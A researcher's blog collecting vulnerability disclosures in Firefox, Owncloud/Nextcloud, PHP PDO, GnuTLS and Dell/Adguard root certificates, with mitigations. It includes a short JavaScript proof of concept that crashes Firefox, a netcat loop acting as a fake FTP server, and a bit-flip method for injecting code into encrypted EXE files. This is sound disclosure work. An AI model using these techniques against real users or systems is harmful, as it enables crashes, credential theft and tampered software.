Hanno's blog

I discovered a couple of more or less minor security issues in Firefox lately. None of them is particularly scary, but they affect interesting corner cases or unusual behavior. I'm posting this mainly hoping that other people will find it inspiring to think about unusual security issues and maybe also come up with more realistic attack scenarios for these bugs.

I'd like to point out that Mozilla hasn't fixed most of those issues, despite all of them being reported several months ago.

Bypassing XSA warning via FTP

XSA or Cross-Site Authentication is an interesting and not very well known attack. It's been discovered by Joachim Breitner in 2005.

Some web pages, mostly forums, allow users to include third party images. This can be abused by an attacker to steal other user's credentials. An attacker first posts something with an image from a server he controls. He then switches on HTTP authentication for that image. All visitors of the page will now see a login dialog on that page. They may be tempted to type in their login credentials into the HTTP authentication dialog, which seems to come from the page they trust.

The original XSA attack is, as said, quite old. As a countermeasure Firefox implements a warning in HTTP authentication dialogs that were created by a subresource like an image. However it only does that for HTTP, not for FTP.

So an attacker can run an FTP server and include an image from there. By then requiring an FTP login and logging all login attempts to the server he can gather credentials. The password dialog will show the host name of the attacker's FTP server, but he could choose one that looks close enough to the targeted web page to not raise suspicion.



I haven't found any popular site that allows embedding images from non-HTTP-protocols. The most popular page that allows embedding external images at all is Stack Overflow, but it only allows HTTPS. Generally embedding third party images is less common these days, most pages keep local copies if they embed external images.

This bug is yet unfixed.

Obviously one could fix it by showing the same warning for FTP that is shown for HTTP authentication. But I'd rather recommend to completely block authentication dialogs on third party content. This is also what Chrome is doing. Mozilla has been discussing this for several years with no result.

Firefox also has an open bug about disallowing FTP on subresources. This would obviously also fix this scenario.

Window-modal popup via FTP

In the early days of JavaScript web pages could annoy users with popups. Browsers have since changed the behavior of JavaScript popups. They are now tab-modal, which means they're not blocking the interaction with the whole browser, they're just part of one tab and will only block the interaction with the web page that created them.

So it is a goal of modern browsers to not allow web pages to create window-modal alerts that block the interaction with the whole browser. However I figured out FTP gives us a bypass of this restriction.

If Firefox receives some random garbage over an FTP connection that it cannot interpret as FTP commands it will open an alert window showing that garbage.



First we open up our fake "FTP-Server" that will simply send a message to all clients. We can just use netcat for this:

while true; do echo "Hello" | nc -l -p 21; done

Then we try to open a connection, e. g. by typing ftp://localhost in the address bar on the same system. Firefox will not show the alert immediately. However if we then click on the URL bar and press enter again it will show the alert window. I tried to replicate that behavior with JavaScript, which worked sometimes. I'm relatively sure this can be made reliable.

There are two problems here. One is that server controlled content is showed to the user without any interpretation. This alert window seems to be intended as some kind of error message. However it doesn't make a lot of sense like that. If at all it should probably be prefixed by some message like "the server sent an invalid command". But ultimately if the browser receives random garbage instead of protocol messages it's probably not wise to display that at all. The second problem is that FTP error messages probably should be tab-modal as well.

This bug is also yet unfixed.

FTP considered dangerous

FTP is an old protocol with many problems. Some consider the fact that browsers still support it a problem. I tend to agree, ideally FTP should simply be removed from modern browsers.

FTP in browsers is insecure by design. While TLS-enabled FTP exists browsers have never supported it. The FTP code is probably not well audited, as it's rarely used. And the fact that another protocol exists that can be used similarly to HTTP has the potential of surprises. For example I found it quite surprising to learn that it's possible to have unencrypted and unauthenticated FTP connections to hosts that enabled HSTS. (The lack of cookie support on FTP seems to avoid causing security issues, but it's still unexpected and feels dangerous.)

Self-XSS in bookmark manager export

The Firefox Bookmark manager allows exporting bookmarks to an HTML document. Before the current Firefox 57 it was possible to inject JavaScript into this exported HTML via the tags field.

I tried to come up with a plausible scenario where this could matter, however this turned out to be difficult. This would be a problematic behavior if there's a way for a web page to create such a bookmark. While it is possible to create a bookmark dialog with JavaScript, this doesn't allow us to prefill the tags field. Thus there is no way a web page can insert any content here.

One could come up with implausible social engineering scenarios (web page asks user to create a bookmark and insert some specific string into the tags field), but that seems very far fetched. A remotely plausible scenario would be a situation where a browser can be used by multiple people who are allowed to create bookmarks and the bookmarks are regularly exported and uploaded to a web page. However that also seems quite far fetched.

This was fixed in the latest Firefox release as CVE-2017-7840 and considered as low severity.

Crashing Firefox on Linux via notification API

The notification API allows browsers to send notification alerts that the operating system will show in small notification windows. A notification can contain a small message and an icon.

When playing this one of the very first things that came to my mind was to check what happens if one simply sends a very large icon. A user has to approve that a web page is allowed to use the notification API, however if he does the result is an immediate crash of the browser. This only "works" on Linux. The proof of concept is quite simple, we just embed a large black PNG via a data URI:

<script>Notification.requestPermission(function(status){
new Notification("",{icon: "" + "A".repeat(4043) + "yDjFUQABEK0vGQAAAABJRU5ErkJggg==",});
});</script>

I haven't fully tracked down what's causing this, but it seems that Firefox tries to send a message to the system's notification daemon with libnotify and if that's too large for the message size limit of dbus it will not properly handle the resulting error.

What I found quite frustrating is that when I reported it I learned that this was a duplicate of a bug that has already been reported more than a year ago. I feel having such a simple browser crash bug open for such a long time is not appropriate. It is still unfixed.

Coredumps are a feature of Linux and other Unix systems to analyze crashing software. If a software crashes, for example due to an invalid memory access, the operating system can save the current content of the application's memory to a file. By default it is simply called core.

While this is useful for debugging purposes it can produce a security risk. If a web application crashes the coredump may simply end up in the web server's root folder. Given that its file name is known an attacker can simply download it via an URL of the form https://example.org/core. As coredumps contain an application's memory they may expose secret information. A very typical example would be passwords.

PHP used to crash relatively often. Recently a lot of these crash bugs have been fixed, in part because PHP now has a bug bounty program. But there are still situations in which PHP crashes. Some of them likely won't be fixed.

How to disclose?

With a scan of the Alexa Top 1 Million domains for exposed core dumps I found around 1.000 vulnerable hosts. I was faced with a challenge: How can I properly disclose this? It is obvious that I wouldn't write hundreds of manual mails. So I needed an automated way to contact the site owners.

Abusix runs a service where you can query the abuse contacts of IP addresses via a DNS query. This turned out to be very useful for this purpose. One could also imagine contacting domain owners directly, but that's not very practical. The domain whois databases have rate limits and don't always expose contact mail addresses in a machine readable way.

Using the abuse contacts doesn't reach all of the affected host operators. Some abuse contacts were nonexistent mail addresses, others didn't have abuse contacts at all. I also got all kinds of automated replies, some of them asking me to fill out forms or do other things, otherwise my message wouldn't be read. Due to the scale I ignored those. I feel that if people make it hard for me to inform them about security problems that's not my responsibility.

I took away two things that I changed in a second batch of disclosures. Some abuse contacts seem to automatically search for IP addresses in the abuse mails. I originally only included affected URLs. So I changed that to include the affected IPs as well.

In many cases I was informed that the affected hosts are not owned by the company I contacted, but by a customer. Some of them asked me if they're allowed to forward the message to them. I thought that would be obvious, but I made it explicit now. Some of them asked me that I contact their customers, which again, of course, is impractical at scale. And sorry: They are your customers, not mine.

How to fix and prevent it?

If you have a coredump on your web host, the obvious fix is to remove it from there. However you obviously also want to prevent this from happening again.

There are two settings that impact coredump creation: A limits setting, configurable via /etc/security/limits.conf and ulimit and a sysctl interface that can be found under /proc/sys/kernel/core_pattern.

The limits setting is a size limit for coredumps. If it is set to zero then no core dumps are created. To set this as the default you can add something like this to your limits.conf:

* soft core 0

The sysctl interface sets a pattern for the file name and can also contain a path. You can set it to something like this:

/var/log/core/core.%e.%p.%h.%t

This would store all coredumps under /var/log/core/ and add the executable name, process id, host name and timestamp to the filename. The directory needs to be writable by all users, you should use a directory with the sticky bit (chmod +t).

If you set this via the proc file interface it will only be temporary until the next reboot. To set this permanently you can add it to /etc/sysctl.conf:

kernel.core_pattern = /var/log/core/core.%e.%p.%h.%t

Some Linux distributions directly forward core dumps to crash analysis tools. This can be done by prefixing the pattern with a pipe (|). These tools like apport from Ubuntu or abrt from Fedora have also been the source of security vulnerabilities in the past. However that's a separate issue.

Look out for coredumps

My scans showed that this is a relatively common issue. Among popular web pages around one in a thousand were affected before my disclosure attempts. I recommend that pentesters and developers of security scan tools consider checking for this. It's simple: Just try download the /core file and check if it looks like an executable. In most cases it will be an ELF file, however sometimes it may be a Mach-O (OS X) or an a.out file (very old Linux and Unix systems).

Image credit: NASA/JPL-Université Paris Diderot

A while ago I wanted to report a bug in one of Nextcloud's apps. They use the Github issue tracker, after creating a new issue I was welcomed with a long list of things they wanted to know about my installation. I filled the info to the best of my knowledge, until I was asked for this:

The content of config/config.php:

Which made me stop and wonder: The config file probably contains sensitive information like passwords. I quickly checked, and yes it does. It depends on the configuration of your Nextcloud installation, but in many cases the configuration contains variables for the database password (dbpassword), the smtp mail server password (mail_smtppassword) or both. Combined with other information from the config file (e. g. it also contains the smtp hostname) this could be very valuable information for an attacker.

A few lines later the bug reporting template has a warning (“Without the database password, passwordsalt and secret”), though this is incomplete, as it doesn't mention the smtp password. It also provides an alternative way of getting the content of the config file via the command line.

However... you know, this is the Internet. People don't read the fineprint. If you ask them to paste the content of their config file they might just do it.

User's passwords publicly accessible

The issues on github are all public and the URLs are of a very simple form and numbered (e. g. https://github.com/nextcloud/calendar/issues/[number]), so downloading all issues from a project is trivial. Thus with a quick check I could confirm that some users indeed posted real looking passwords to the bug tracker.

Nextcoud is a fork of Owncloud, so I checked that as well. The bug reporting template contained exactly the same words, probably Nextcloud just copied it over when they forked. So I reported the issue to both Owncloud and Nextcloud via their HackerOne bug bounty programs. That was in January.

I proposed that both projects should go through their past bug reports and remove everything that looks like a password or another sensitive value. I also said that I think asking for the content of the configuration file is inherently dangerous and should be avoided. To allow users to share configuration options in a safe way I proposed to offer an option similar to the command line tool (which may not be available or usable for all users) in the web interface.

The reaction wasn't overwhelming. Apart from confirming that both projects acknowledged the problem nothing happened for quite a while. During FOSDEM I reached out to members of both projects and discussed the issue in person. Shortly after that I announced that I intended to disclose this issue three months after the initial report.

Disclosure deadline was nearing with passwords still public

The deadline was nearing and I didn't receive any report on any actions being taken by Owncloud or Nextcloud. I sent out this tweet which received quite some attention (and I'm sorry that some people got worried about a vulnerability in Owncloud/Nextcloud itself, I got a couple of questions):



In all fairness to NextCloud, they had actually started scrubbing data from the existing bug reports, they just hadn't informed me. After the tweet Nextcloud gave me an update and Owncloud asked for a one week extension of the disclosure deadline which I agreed to.

The outcome by now isn't ideal. Both projects have scrubbed all obvious passwords from existing bug reports, although I still find values where it's not entirely clear whether they are replacement values or just very bad passwords (e. g. things like “123456”, but you might argue that people using such passwords have other problems).

Nextcloud has changed the wording of the bug reporting template. The new template still asks for the config file, but it mentions the safer command line option first and has the warning closer to the mentioning of the config. This is still far from ideal and I wouldn't be surprised if people continue pasting their passwords. However Nextcloud developers have indicated in the HackerOne discussion that they might pick up my idea of offering a GUI version to export a scrubbed config file. Owncloud has changed nothing yet.

If you have reported bugs to Owncloud or Nextcloud in the past and are unsure whether you may have pasted your password it's probably best to change it. Even if it's been removed now it may still be available within search engine caches or it might have already been recorded by an attacker.

I want to tell a little story here. I am usually relatively savvy in IT security issues. Yet I was made aware of a quite severe mistake today that caused a security issue in my web page. I want to learn from mistakes, but maybe also others can learn something as well.

I have a private web page. Its primary purpose is to provide a list of links to articles I wrote elsewhere. It's probably not a high value target, but well, being an IT security person I wanted to get security right.

Of course the page uses TLS-encryption via HTTPS. It also uses HTTP Strict Transport Security (HSTS), TLS 1.2 with an AEAD and forward secrecy, has a CAA record and even HPKP (although I tend to tell people that they shouldn't use HPKP, because it's too easy to get wrong). Obviously it has an A+ rating on SSL Labs.

Surely I thought about Cross Site Scripting (XSS). While an XSS on the page wouldn't be very interesting - it doesn't have any kind of login or backend and doesn't use cookies - and also quite unlikely – no user supplied input – I've done everything to prevent XSS. I set a strict Content Security Policy header and other security headers. I have an A-rating on securityheaders.io (no A+, because after several HPKP missteps I decided to use a short timeout).

I also thought about SQL injection. While an SQL injection would be quite unlikely – you remember, no user supplied input – I'm using prepared statements, so SQL injections should be practically impossible.

All in all I felt that I have a pretty secure web page. So what could possibly go wrong?

Well, this morning someone send me this screenshot:


And before you ask: Yes, this was the real database password. (I changed it now.)

So what happened? The mysql server was down for a moment. It had crashed for reasons unrelated to this web page. I had already taken care of that and hadn't noted the password leak. The crashed mysql server subsequently let to an error message by PDO (PDO stands for PHP Database Object and is the modern way of doing database operations in PHP).

The PDO error message contains a stack trace of the function call including function parameters. And this led to the password leak: The password is passed to the PDO constructor as a parameter.

There are a few things to note here. First of all for this to happen the PHP option display_errors needs to be enabled. It is recommended to disable this option in production systems, however it is enabled by default. (Interesting enough the PHP documentation about display_errors doesn't even tell you what the default is.)

display_errors wasn't enabled by accident. It was actually disabled in the past. I made a conscious decision to enable it. Back when we had display_errors disabled on the server I once tested a new PHP version where our custom config wasn't enabled yet. I noticed several bugs in PHP pages. So my rationale was that disabling display_errors hides bugs, thus I'd better enable it. In hindsight it was a bad idea. But well... hindsight is 20/20.

The second thing to note is that this only happens because PDO throws an exception that is unhandled. To be fair, the PDO documentation mentions this risk. Other kinds of PHP bugs don't show stack traces. If I had used mysqli – the second supported API to access MySQL databases in PHP – the error message would've looked like this:

PHP Warning: mysqli::__construct(): (HY000/1045): Access denied for user 'test'@'localhost' (using password: YES) in /home/[...]/mysqli.php on line 3

While this still leaks the username, it's much less dangerous. This is a subtlety that is far from obvious. PHP functions have different modes of error reporting. Object oriented functions – like PDO – throw exceptions. Unhandled exceptions will lead to stack traces. Other functions will just report error messages without stack traces.

If you wonder about the impact: It's probably minor. People could've seen the password, but I haven't noticed any changes in the database. I obviously changed it immediately after being notified. I'm pretty certain that there is no way that a database compromise could be used to execute code within the web page code. It's far too simple for that.

Of course there are a number of ways this could've been prevented, and I've implemented several of them. I'm now properly handling exceptions from PDO. I also set a general exception handler that will inform me (and not the web page visitor) if any other unhandled exceptions occur. And finally I've changed the server's default to display_errors being disabled.

While I don't want to shift too much blame here, I think PHP is making this far too easy to happen. There exists a bug report about the leaking of passwords in stack traces from 2014, but nothing happened. I think there are a variety of unfortunate decisions made by PHP. If display_errors is dangerous and discouraged for production systems then it shouldn't be enabled by default.

PHP could avoid sending stack traces by default and make this a separate option from display_errors. It could also introduce a way to make exceptions fatal for functions so that calling those functions is prevented outside of a try/catch block that handles them. (However that obviously would introduce compatibility problems with existing applications, as Craig Young pointed out to me.)

So finally maybe a couple of takeaways:

• display_errors is far more dangerous than I was aware of.
• Unhandled exceptions introduce unexpected risks that I wasn't aware of.
• In the past I was recommending that people should use PDO with prepared statements if they use MySQL with PHP. I wonder if I should reconsider that, given the circumstances mysqli seems safer (it also supports prepared statements).
• I'm not sure if there's a general takeaway, but at least for me it was quite surprising that I could have such a severe security failure in a project and code base where I thought I had everything covered.

The Owncloud web application has an encryption module. I first became aware of it when a press release was published advertising this encryption module containing this:

“Imagine you are an IT organization using industry standard AES 256 encryption keys. Let’s say that a vulnerability is found in the algorithm, and you now need to improve your overall security by switching over to RSA-2048, a completely different algorithm and key set. Now, with ownCloud’s modular encryption approach, you can swap out the existing AES 256 encryption with the new RSA algorithm, giving you added security while still enabling seamless access to enterprise-class file sharing and collaboration for all of your end-users.”

To anyone knowing anything about crypto this sounds quite weird. AES and RSA are very different algorithms – AES is a symmetric algorithm and RSA is a public key algorithm - and it makes no sense to replace one by the other. Also RSA is much older than AES. This press release has since been removed from the Owncloud webpage, but its content can still be found in this Reuters news article. This and some conversations with Owncloud developers caused me to have a look at this encryption module.

First it is important to understand what this encryption module is actually supposed to do and understand the threat scenario. The encryption provides no security against a malicious server operator, because the encryption happens on the server. The only scenario where this encryption helps is if one has a trusted server that is using an untrusted storage space.

When one uploads a file with the encryption module enabled it ends up under the same filename in the user's directory on the file storage. Now here's a first, quite obvious problem: The filename itself is not protected, so an attacker that is assumed to be able to see the storage space can already learn something about the supposedly encrypted data.

The content of the file starts with this:
BEGIN:oc_encryption_module:OC_DEFAULT_MODULE:cipher:AES-256-CFB:HEND----

It is then padded with further dashes until position 0x2000 and then the encrypted contend follows Base64-encoded in blocks of 8192 bytes. The header tells us what encryption algorithm and mode is used: AES-256 in CFB-mode. CFB stands for Cipher Feedback.

Authenticated and unauthenticated encryption modes

In order to proceed we need some basic understanding of encryption modes. AES is a block cipher with a block size of 128 bit. That means we cannot just encrypt arbitrary input with it, the algorithm itself only encrypts blocks of 128 bit (or 16 byte) at a time. The naive way to encrypt more data is to split it into 16 byte blocks and encrypt every block. This is called Electronic Codebook mode or ECB and it should never be used, because it is completely insecure.

Common modes for encryption are Cipherblock Chaining (CBC) and Counter mode (CTR). These modes are unauthenticated and have a property that's called malleability. This means an attacker that is able to manipulate encrypted data is able to manipulate it in a way that may cause a certain defined behavior in the output. Often this simply means an attacker can flip bits in the ciphertext and the same bits will be flipped in the decrypted data.

To counter this these modes are usually combined with some authentication mechanism, a common one is called HMAC. However experience has shown that this combining of encryption and authentication can go wrong. Many vulnerabilities in both TLS and SSH were due to bad combinations of these two mechanism. Therefore modern protocols usually use dedicated authenticated encryption modes (AEADs), popular ones include Galois/Counter-Mode (GCM), Poly1305 and OCB.

Cipher Feedback (CFB) mode is a self-correcting mode. When an error happens, which can be simple data transmission error or a hard disk failure, two blocks later the decryption will be correct again. This also allows decrypting parts of an encrypted data stream. But the crucial thing for our attack is that CFB is not authenticated and malleable. And Owncloud didn't use any authentication mechanism at all.

Therefore the data is encrypted and an attacker cannot see the content of a file (however he learns some metadata: the size and the filename), but an Owncloud user cannot be sure that the downloaded data is really the data that was uploaded in the first place. The malleability of CFB mode works like this: An attacker can flip arbitrary bits in the ciphertext, the same bit will be flipped in the decrypted data. However if he flips a bit in any block then the following block will contain unpredictable garbage.

Backdooring an EXE file

How does that matter in practice? Let's assume we have a group of people that share a software package over Owncloud. One user uploads a Windows EXE installer and the others download it from there and install it. Let's further assume that the attacker doesn't know the content of the EXE file (this is a generous assumption, in many cases he will know, as he knows the filename).

EXE files start with a so-called MZ-header, which is the old DOS EXE header that gets usually ignored. At a certain offset (0x3C), which is at the end of the fourth 16 byte block, there is an address of the PE header, which on Windows systems is the real EXE header. After the MZ header even on modern executables there is still a small DOS program. This starts with the fifth 16 byte block. This DOS program usually only shows the message “Th is program canno t be run in DOS mode”. And this DOS stub program is almost always the exactly the same.



Therefore our attacker can do the following: First flip any non-relevant bit in the third 16 byte block. This will cause the fourth block to contain garbage. The fourth block contains the offset of the PE header. As this is now garbled Windows will no longer consider this executable to be a Windows application and will therefore execute the DOS stub.

The attacker can then XOR 16 bytes of his own code with the first 16 bytes of the standard DOS stub code. He then XORs the result with the fifth block of the EXE file where he expects the DOS stub to be. Voila: The resulting decrypted EXE file will contain 16 bytes of code controlled by the attacker.

I created a proof of concept of this attack. This isn't enough to launch a real attack, because an attacker only has 16 bytes of DOS assembler code, which is very little. For a real attack an attacker would have to identify further pieces of the executable that are predictable and jump through the code segments.

The first fix

I reported this to Owncloud via Hacker One in January. The first fix they proposed was a change where they used Counter-Mode (CTR) in combination with HMAC. They still encrypt the file in blocks of 8192 bytes size. While this is certainly less problematic than the original construction it still had an obvious problem: All the 8192 bytes sized file blocks where encrypted the same way. Therefore an attacker can swap or remove chunks of a file. The encryption is still malleable.

The second fix then included a counter of the file and also avoided attacks where an attacker can go back to an earlier version of a file. This solution is shipped in Owncloud 9.0, which has recently been released.

Is this new construction secure? I honestly don't know. It is secure enough that I didn't find another obvious flaw in it, but that doesn't mean a whole lot.

You may wonder at this point why they didn't switch to an authenticated encryption mode like GCM. The reason for that is that PHP doesn't support any authenticated encryption modes. There is a proposal and most likely support for authenticated encryption will land in PHP 7.1. However given that using outdated PHP versions is a very widespread practice it will probably take another decade till anyone can use that in mainstream web applications.

Don't invent your own crypto protocols

The practical relevance of this vulnerability is probably limited, because the scenario that it protects from is relatively obscure. But I think there is a lesson to learn here. When people without a strong cryptographic background create ad-hoc designs of cryptographic protocols it will almost always go wrong.

It is widely known that designing your own crypto algorithms is a bad idea and that you should use standardized and well tested algorithms like AES. But using secure algorithms doesn't automatically create a secure protocol. One has to know the interactions and limitations of crypto primitives and this is far from trivial. There is a worrying trend – especially since the Snowden revelations – that new crypto products that never saw any professional review get developed and advertised in masses. A lot of these products are probably extremely insecure and shouldn't be trusted at all.

If you do crypto you should either do it right (which may mean paying someone to review your design or to create it in the first place) or you better don't do it at all. People trust your crypto, and if that trust isn't justified you shouldn't ship a product that creates the impression it contains secure cryptography.

There's another thing that bothers me about this. Although this seems to be a pretty standard use case of crypto – you have a symmetric key and you want to encrypt some data – there is no straightforward and widely available standard solution for it. Using authenticated encryption solves a number of issues, but not all of them (this talk by Adam Langley covers some interesting issues and caveats with authenticated encryption).

The proof of concept can be found on Github. I presented this vulnerability in a talk at the Easterhegg conference, a video recording is available.

Update (2020): Kevin Niehage had a much more detailed look at the encryption module of Owncloud and its fork Nextcloud. Among other things he noted that a downgrade attack allows re-enabling the attack I described. He found several other design flaws and bad design decisions and has written a paper about it.

tl;dr Older GnuTLS versions (2.x) fail to check the first byte of the padding in CBC modes. Various stable Linux distributions, including Ubuntu LTS and Debian wheezy (oldstable) use this version. Current GnuTLS versions are not affected.

A few days ago an email on the ssllabs mailing list catched my attention. A Canonical developer had observed that the SSL Labs test would report the GnuTLS version used in Ubuntu 14.04 (the current long time support version) as vulnerable to the POODLE TLS vulnerability, while other tests for the same vulnerability showed no such issue.

A little background: The original POODLE vulnerability is a weakness of the old SSLv3 protocol that's now officially deprecated. POODLE is based on the fact that SSLv3 does not specify the padding of the CBC modes and the padding bytes can contain arbitrary bytes. A while after POODLE Adam Langley reported that there is a variant of POODLE in TLS, however while the original POODLE is a protocol issue the POODLE TLS vulnerability is an implementation issue. TLS specifies the values of the padding bytes, but some implementations don't check them. Recently Yngve Pettersen reported that there are different variants of this POODLE TLS vulnerability: Some implementations only check parts of the padding. This is the reason why sometimes different tests lead to different results. A test that only changes one byte of the padding will lead to different results than one that changes all padding bytes. Yngve Pettersen uncovered POODLE variants in devices from Cisco (Cavium chip) and Citrix.

I looked at the Ubuntu issue and found that this was exactly such a case of an incomplete padding check: The first byte wasn't checked. I believe this might explain some of the vulnerable hosts Yngve Pettersen found. This is the code:

for (i = 2; i <= pad; i++)
{
if (ciphertext.data[ciphertext.size - i] != pad)
pad_failed = GNUTLS_E_DECRYPTION_FAILED;
}

The padding in TLS is defined that the rightmost byte of the last block contains the length of the padding. This value is also used in all padding bytes. However the length field itself is not part of the padding. Therefore if we have e. g. a padding length of three this would result in four bytes with the value 3. The above code misses one byte. i goes from 2 (setting block length minus 2) to pad (block length minus pad length), which sets pad length minus one bytes. To correct it we need to change the loop to end with pad+1. The code is completely reworked in current GnuTLS versions, therefore they are not affected. Upstream has officially announced the end of life for GnuTLS 2, but some stable Linux distributions still use it.

The story doesn't end here: After I found this bug I talked about it with Juraj Somorovsky. He mentioned that he already read about this before: In the paper of the Lucky Thirteen attack. That was published in 2013 by Nadhem AlFardan and Kenny Paterson. Here's what the Lucky Thirteen paper has to say about this issue on page 13:

for (i = 2; i < pad; i++)
{
if (ciphertext->data[ciphertext->size - i] != ciphertext->data[ciphertext->size - 1])
pad_failed = GNUTLS_E_DECRYPTION_FAILED;
}

It is not hard to see that this loop should also cover the edge case i=pad in order to carry out a full padding check. This means that one byte of what should be padding actually has a free format.

If you look closely you will see that this code is actually different from the one I quoted above. The reason is that the GnuTLS version in question already contained a fix that was applied in response to the Lucky Thirteen paper. However what the Lucky Thirteen paper missed is that the original check was off by two bytes, not just one byte. Therefore it only got an incomplete fix reducing the attack surface from two bytes to one.

In a later commit this whole code was reworked in response to the Lucky Thirteen attack and there the problem got fixed for good. However that change never made it into version 2 of GnuTLS. Red Hat / CentOS packages contain a backport patch of those changes, therefore they are not affected.

You might wonder what the impact of this bug is. I'm not totally familiar with the details of all the possible attacks, but the POODLE attack gets increasingly harder if fewer bytes of the padding can be freely set. It most likely is impossible if there is only one byte. The Lucky Thirteen paper says: "This would enable, for example, a variant of the short MAC attack of [28] even if variable length padding was not supported.". People that know more about crypto than I do should be left with the judgement whether this might be practically exploitabe.

Fixing this bug is a simple one-line patch I have attached here. This will silence all POODLE checks, however this doesn't apply all the changes that were made in response to the Lucky Thirteen attack. I'm not sure if the code is practically vulnerable, but Lucky Thirteen is a tricky issue, recently a variant of that attack was shown against Amazon's s2n library.

The missing padding check for the first byte got CVE-2015-8313 assigned. Currently I'm aware of Ubuntu LTS (now fixed) and Debian oldstable (Wheezy) being affected.

tl;dr Dell laptops come preinstalled with a root certificate and a corresponding private key. That completely compromises the security of encrypted HTTPS connections. I've provided an online check, affected users should delete the certificate.

It seems that Dell hasn't learned anything from the Superfish-scandal earlier this year: Laptops from the company come with a preinstalled root certificate that will be accepted by browsers. The private key is also installed on the system and has been published now. Therefore attackers can use Man in the Middle attacks against Dell users to show them manipulated HTTPS webpages or read their encrypted data.

The certificate, which is installed in the system's certificate store under the name "eDellRoot", gets installed by a software called Dell Foundation Services. This software is still available on Dell's webpage. According to the somewhat unclear description from Dell it is used to provide "foundational services facilitating customer serviceability, messaging and support functions".

The private key of this certificate is marked as non-exportable in the Windows certificate store. However this provides no real protection, there are Tools to export such non-exportable certificate keys. A user of the plattform Reddit has posted the Key there.

For users of the affected Laptops this is a severe security risk. Every attacker can use this root certificate to create valid certificates for arbitrary web pages. Even HTTP Public Key Pinning (HPKP) does not protect against such attacks, because browser vendors allow locally installed certificates to override the key pinning protection. This is a compromise in the implementation that allows the operation of so-called TLS interception proxies.

I was made aware of this issue a while ago by Kristof Mattei. We asked Dell for a statement three weeks ago and didn't get any answer.

It is currently unclear which purpose this certificate served. However it seems unliklely that it was placed there deliberately for surveillance purposes. In that case Dell wouldn't have installed the private key on the system.

Affected are only users that use browsers or other applications that use the system's certificate store. Among the common Windows browsers this affects the Internet Explorer, Edge and Chrome. Not affected are Firefox-users, Mozilla's browser has its own certificate store.

Users of Dell laptops can check if they are affected with an online check tool. Affected users should immediately remove the certificate in the Windows certificate manager. The certificate manager can be started by clicking "Start" and typing in "certmgr.msc". The "eDellRoot" certificate can be found under "Trusted Root Certificate Authorities". You also need to remove the file Dell.Foundation.Agent.Plugins.eDell.dll, Dell has now posted an instruction and a removal tool.

This incident is almost identical with the Superfish-incident. Earlier this year it became public that Lenovo had preinstalled a software called Superfish on its Laptops. Superfish intercepts HTTPS-connections to inject ads. It used a root certificate for that and the corresponding private key was part of the software. After that incident several other programs with the same vulnerability were identified, they all used a software module called Komodia. Similar vulnerabilities were found in other software products, for example in Privdog and in the ad blocker Adguard.

This article is mostly a translation of a German article I wrote for Golem.de.

Image source and license: Wistula / Wikimedia Commons, Creative Commons by 3.0

Update (2015-11-24): Second Dell root certificate DSDTestProvider

I just found out that there is a second root certificate installed with some Dell software that causes exactly the same issue. It is named DSDTestProvider and comes with a software called Dell System Detect. Unlike the Dell Foundations Services this one does not need a Dell computer to be installed, therefore it was trivial to extract the certificate and the private key. My online test now checks both certificates. This new certificate is not covered by Dell's removal instructions yet.

Dell has issued an official statement on their blog and in the comment section a user mentioned this DSDTestProvider certificate. After googling what DSD might be I quickly found it. There have been concerns about the security of Dell System Detect before, Malwarebytes has an article about it from April mentioning that it was vulnerable to a remote code execution vulnerability.

Update (2015-11-26): Service tag information disclosure

Another unrelated issue on Dell PCs was discovered in a tool called Dell Foundation Services. It allows webpages to read an unique service tag. There's also an online check.

In February the discovery of a software called Superfish caused widespread attention. Superfish caused a severe security vulnerability by intercepting HTTPS connections with a Man-in-the-Middle-certificate. The certificate and the corresponding private key was shared amongst all installations.

The use of Man-in-the-Middle-proxies for traffic interception is a widespread method, an application installs a root certificate into the browser and later intercepts connections by creating signed certificates for webpages on the fly. It quickly became clear that Superfish was only the tip of the iceberg. The underlying software module Komodia was used in a whole range of applications all suffering from the same bug. Later another software named Privdog was found that also intercepted HTTPS traffic and I published a blog post explaining that it was broken in a different way: It completely failed to do any certificate verification on its connections.

In a later blogpost I analyzed several Antivirus applications that also intercept HTTPS traffic. They were not as broken as Superfish or Privdog, but all of them decreased the security of the TLS encryption in one way or another. The most severe issue was that Kaspersky was at that point still vulnerable to the FREAK bug, more than a month after it was discovered. In a comment to that blogpost I was asked about a software called Adguard. I have to apologize that it took me so long to write this up.

Different certificate, same key

The first thing I did was to install Adguard two times in different VMs and look at the root certificate that got installed into the browser. The fingerprint of the certificates was different. However a closer look revealed something interesting: The RSA modulus was the same. It turned out that Adguard created a new root certificate with a changing serial number for every installation, but it didn't generate a new key. Therefore it is vulnerable to the same attacks as Superfish.

I reported this issue to Adguard. Adguard has fixed this issue, however they still intercept HTTPS traffic.

I learned that Adguard did not always use the same key, instead it chose one out of ten different keys based on the CPU. All ten keys could easily be extracted from a file called ProtocolFilters.dll that was shipped with Adguard. Older versions of Adguard only used one key shared amongst all installations. There also was a very outdated copy of the nss library. It suffers from various vulnerabilities, however it seems they are not exploitable. The library is not used for TLS connections, its only job is to install certificates into the Firefox root store.

Meet Privdog again

The outdated nss version gave me a hint, because I had seen this before: In Privdog. I had spend some time trying to find out if Privdog would be vulnerable to known nss issues (which had the positive side effect that Filippo created proof of concept code for the BERserk vulnerability). What I didn't notice back then was the shared key issue. Privdog also used the same key amongst different installations. So it turns out Privdog was completely broken in two different ways: By sharing the private key amongst installations and by not verifying certificates.

The latest version of Privdog no longer intercepts HTTPS traffic, it works as a browser plugin now. I don't know whether this vulnerability was still present after the initial fix caused by my original blog post.

Now what is this ProtocolFilters.dll? It is a commercial software module that is supposed to be used along with a product called Netfilter SDK. I wondered where else this would be found and if we would have another widely used software module like Komodia.

ProtocolFilters.dll is mentioned a lot in the web, mostly in the context of Potentially Unwanted Applications, also called Crapware. That means software that is either preinstalled or that gets bundled with installers from other software and is often installed without users consent or by tricking the user into clicking some "ok" button without knowing that he or she agrees to install another software. Unfortunately I was unable to get my hands on any other software using it.

Lots of "Potentially Unwanted Applications" use ProtocolFilters.dll

Software names that I found that supposedly include ProtocolFilters.dll: Coupoon, CashReminder, SavingsDownloader, Scorpion Saver, SavingsbullFilter, BRApp, NCupons, Nurjax, Couponarific, delshark, rrsavings, triosir, screentk. If anyone has any of them or any other piece of software bundling ProtocolFilters.dll I'd be interested in receiving a copy.

I'm publishing all Adguard keys and the Privdog key together with example certificates here. I also created a trivial script that can be used to extract keys from ProtocolFilters.dll (or other binary files that include TLS private keys in their binary form). It looks for anything that could be a private key by its initial bytes and then calls OpenSSL to try to decode it. If OpenSSL succeeds it will dump the key.

